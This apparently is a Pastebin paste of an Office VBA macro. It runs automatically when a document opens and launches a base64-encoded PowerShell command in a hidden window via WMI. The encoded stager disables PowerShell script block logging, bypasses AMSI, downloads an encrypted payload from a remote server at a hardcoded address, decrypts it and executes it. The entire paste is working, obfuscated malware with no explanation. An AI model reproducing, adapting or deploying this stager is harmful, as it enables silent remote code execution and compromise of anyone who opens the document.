Advertisement
Guest User

TEST

a guest
Jun 20th, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.78 KB | None | 0 0
  1. Sub Auto_Open()
  2. mkVdEfsZs
  3. End Sub
  4.  
  5. Sub AutoOpen()
  6. mkVdEfsZs
  7. End Sub
  8.  
  9. Sub Document_Open()
  10. mkVdEfsZs
  11. End Sub
  12.  
  13. Public Function mkVdEfsZs() As Variant
  14. Dim qUuTyXtB As String
  15. qUuTyXtB = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
  16. qUuTyXtB = qUuTyXtB + "BFAHIAUwBpAE8AbgBUAGEAYgBsAEUALgBQAFMAVgBFAHIAUwBp"
  17. qUuTyXtB = qUuTyXtB + "AE8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAF"
  18. qUuTyXtB = qUuTyXtB + "AARgA9AFsAUgBFAGYAXQAuAEEAcwBTAGUAbQBCAGwAeQAuAEcA"
  19. qUuTyXtB = qUuTyXtB + "ZQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
  20. qUuTyXtB = qUuTyXtB + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
  21. qUuTyXtB = qUuTyXtB + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiAC"
  22. qUuTyXtB = qUuTyXtB + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
  23. qUuTyXtB = qUuTyXtB + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
  24. qUuTyXtB = qUuTyXtB + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
  25. qUuTyXtB = qUuTyXtB + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAE"
  26. qUuTyXtB = qUuTyXtB + "EAbABVAEUAKAAkAE4AVQBsAGwAKQA7AEkAZgAoACQARwBQAEMA"
  27. qUuTyXtB = qUuTyXtB + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
  28. qUuTyXtB = qUuTyXtB + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
  29. qUuTyXtB = qUuTyXtB + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
  30. qUuTyXtB = qUuTyXtB + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
  31. qUuTyXtB = qUuTyXtB + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
  32. qUuTyXtB = qUuTyXtB + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
  33. qUuTyXtB = qUuTyXtB + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
  34. qUuTyXtB = qUuTyXtB + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
  35. qUuTyXtB = qUuTyXtB + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBsAD0AWwBDAG8AbA"
  36. qUuTyXtB = qUuTyXtB + "BMAGUAQwB0AEkATwBuAFMALgBHAGUAbgBlAFIAaQBDAC4ARABJ"
  37. qUuTyXtB = qUuTyXtB + "AGMAdABpAE8AbgBBAFIAeQBbAHMAVABSAEkAbgBnACwAUwB5AF"
  38. qUuTyXtB = qUuTyXtB + "MAdABlAE0ALgBPAEIAagBFAGMAdABdAF0AOgA6AG4AZQB3ACgA"
  39. qUuTyXtB = qUuTyXtB + "KQA7ACQAdgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUw"
  40. qUuTyXtB = qUuTyXtB + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
  41. qUuTyXtB = qUuTyXtB + "AGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAG"
  42. qUuTyXtB = qUuTyXtB + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
  43. qUuTyXtB = qUuTyXtB + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
  44. qUuTyXtB = qUuTyXtB + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
  45. qUuTyXtB = qUuTyXtB + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
  46. qUuTyXtB = qUuTyXtB + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
  47. qUuTyXtB = qUuTyXtB + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
  48. qUuTyXtB = qUuTyXtB + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
  49. qUuTyXtB = qUuTyXtB + "AD0AJABWAEEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AE"
  50. qUuTyXtB = qUuTyXtB + "IATABPAEMASwBdAC4AIgBHAEUAVABGAGkAZQBgAEwARAAiACgA"
  51. qUuTyXtB = qUuTyXtB + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
  52. qUuTyXtB = qUuTyXtB + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
  53. qUuTyXtB = qUuTyXtB + "AFQAVgBBAEwAdQBlACgAJABOAHUAbABsACwAKABOAEUAVwAtAE"
  54. qUuTyXtB = qUuTyXtB + "8AQgBKAEUAQwBUACAAQwBPAEwAbABFAEMAdABJAG8ATgBzAC4A"
  55. qUuTyXtB = qUuTyXtB + "RwBFAG4AZQByAGkAQwAuAEgAYQBzAEgAUwBFAFQAWwBzAHQAUg"
  56. qUuTyXtB = qUuTyXtB + "BpAE4ARwBdACkAKQB9AFsAUgBlAEYAXQAuAEEAcwBTAEUAbQBC"
  57. qUuTyXtB = qUuTyXtB + "AGwAWQAuAEcARQBUAFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
  58. qUuTyXtB = qUuTyXtB + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
  59. qUuTyXtB = qUuTyXtB + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
  60. qUuTyXtB = qUuTyXtB + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBpAGUATABkACgAJwBh"
  61. qUuTyXtB = qUuTyXtB + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
  62. qUuTyXtB = qUuTyXtB + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
  63. qUuTyXtB = qUuTyXtB + "VABWAEEAbABVAGUAKAAkAG4AdQBsAGwALAAkAFQAcgB1AGUAKQ"
  64. qUuTyXtB = qUuTyXtB + "B9ADsAfQA7AFsAUwB5AHMAVABFAE0ALgBOAGUAVAAuAFMAZQBS"
  65. qUuTyXtB = qUuTyXtB + "AHYASQBjAEUAUABPAEkAbgBUAE0AYQBOAEEARwBFAHIAXQA6AD"
  66. qUuTyXtB = qUuTyXtB + "oARQBYAFAARQBDAFQAMQAwADAAQwBPAG4AdABpAG4AdQBlAD0A"
  67. qUuTyXtB = qUuTyXtB + "MAA7ACQAdwBDAD0ATgBFAHcALQBPAEIAagBlAEMAdAAgAFMAWQ"
  68. qUuTyXtB = qUuTyXtB + "BzAFQARQBNAC4ATgBFAHQALgBXAEUAQgBDAGwAaQBlAG4AdAA7"
  69. qUuTyXtB = qUuTyXtB + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
  70. qUuTyXtB = qUuTyXtB + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
  71. qUuTyXtB = qUuTyXtB + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
  72. qUuTyXtB = qUuTyXtB + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
  73. qUuTyXtB = qUuTyXtB + "AFcAQwAuAEgARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAG"
  74. qUuTyXtB = qUuTyXtB + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAA"
  75. qUuTyXtB = qUuTyXtB + "cgBPAFgAeQA9AFsAUwB5AHMAVABlAG0ALgBOAEUAVAAuAFcARQ"
  76. qUuTyXtB = qUuTyXtB + "BiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAEYAQQB1AEwAdABX"
  77. qUuTyXtB = qUuTyXtB + "AGUAYgBQAHIATwBYAHkAOwAkAFcAYwAuAFAAcgBPAFgAeQAuAE"
  78. qUuTyXtB = qUuTyXtB + "MAUgBlAEQAZQBuAFQASQBBAGwAcwAgAD0AIABbAFMAWQBzAHQA"
  79. qUuTyXtB = qUuTyXtB + "RQBtAC4ATgBlAHQALgBDAHIAZQBEAEUATgBUAGkAQQBMAEMAYQ"
  80. qUuTyXtB = qUuTyXtB + "BDAEgARQBdADoAOgBEAGUAZgBBAFUAbAB0AE4ARQBUAFcAbwBy"
  81. qUuTyXtB = qUuTyXtB + "AEsAQwByAEUARABlAE4AVABJAGEATABzADsAJABTAGMAcgBpAH"
  82. qUuTyXtB = qUuTyXtB + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
  83. qUuTyXtB = qUuTyXtB + "eQA7ACQASwA9AFsAUwBZAFMAdABFAG0ALgBUAEUAWAB0AC4ARQ"
  84. qUuTyXtB = qUuTyXtB + "BuAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
  85. qUuTyXtB = qUuTyXtB + "AEIAWQB0AEUAUwAoACcAOQA3ADUAMgBmAGIAZAAxAGQAMQBlAG"
  86. qUuTyXtB = qUuTyXtB + "EAMQAzADEAYgBmADYANgAyADUAMwBhAGMAMQBiAGYAZgBmADAA"
  87. qUuTyXtB = qUuTyXtB + "MABmACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARw"
  88. qUuTyXtB = qUuTyXtB + "BTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
  89. qUuTyXtB = qUuTyXtB + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
  90. qUuTyXtB = qUuTyXtB + "sAJABfACUAJABLAC4AQwBvAHUAbgB0AF0AKQAlADIANQA2ADsA"
  91. qUuTyXtB = qUuTyXtB + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
  92. qUuTyXtB = qUuTyXtB + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
  93. qUuTyXtB = qUuTyXtB + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
  94. qUuTyXtB = qUuTyXtB + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
  95. qUuTyXtB = qUuTyXtB + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
  96. qUuTyXtB = qUuTyXtB + "A7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
  97. qUuTyXtB = qUuTyXtB + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
  98. qUuTyXtB = qUuTyXtB + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMA"
  99. qUuTyXtB = qUuTyXtB + "MAAuADEANQAzADoAOAAwACcAOwAkAHQAPQAnAC8AbABvAGcAaQ"
  100. qUuTyXtB = qUuTyXtB + "BuAC8AcAByAG8AYwBlAHMAcwAuAHAAaABwACcAOwAkAHcAYwAu"
  101. qUuTyXtB = qUuTyXtB + "AEgARQBhAEQARQBSAFMALgBBAEQARAAoACIAQwBvAG8AawBpAG"
  102. qUuTyXtB = qUuTyXtB + "UAIgAsACIAcwBlAHMAcwBpAG8AbgA9AGkAVQBCADkAcAA5ADkA"
  103. qUuTyXtB = qUuTyXtB + "bABkADQARwB5AFYAYgB1AHEAVABFAEgAVABIAEoANgBSADUARg"
  104. qUuTyXtB = qUuTyXtB + "BBAD0AIgApADsAJABEAEEAdABBAD0AJABXAEMALgBEAE8AVwBO"
  105. qUuTyXtB = qUuTyXtB + "AGwAbwBBAGQARABhAHQAYQAoACQAUwBlAFIAKwAkAFQAKQA7AC"
  106. qUuTyXtB = qUuTyXtB + "QASQBWAD0AJABEAEEAdABhAFsAMAAuAC4AMwBdADsAJABkAEEA"
  107. qUuTyXtB = qUuTyXtB + "dABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAVABhAC4AbA"
  108. qUuTyXtB = qUuTyXtB + "BlAE4AZwB0AEgAXQA7AC0AagBvAGkAbgBbAEMASABhAHIAWwBd"
  109. qUuTyXtB = qUuTyXtB + "AF0AKAAmACAAJABSACAAJABkAGEAVABhACAAKAAkAEkAVgArAC"
  110. qUuTyXtB = qUuTyXtB + "QASwApACkAfABJAEUAWAA="
  111. Const HIDDEN_WINDOW = 0
  112. strComputer = "."
  113. Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  114. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  115. Set objConfig = objStartup.SpawnInstance_
  116. objConfig.ShowWindow = HIDDEN_WINDOW
  117. Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  118. objProcess.Create qUuTyXtB, Null, objConfig, intProcessID
  119. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement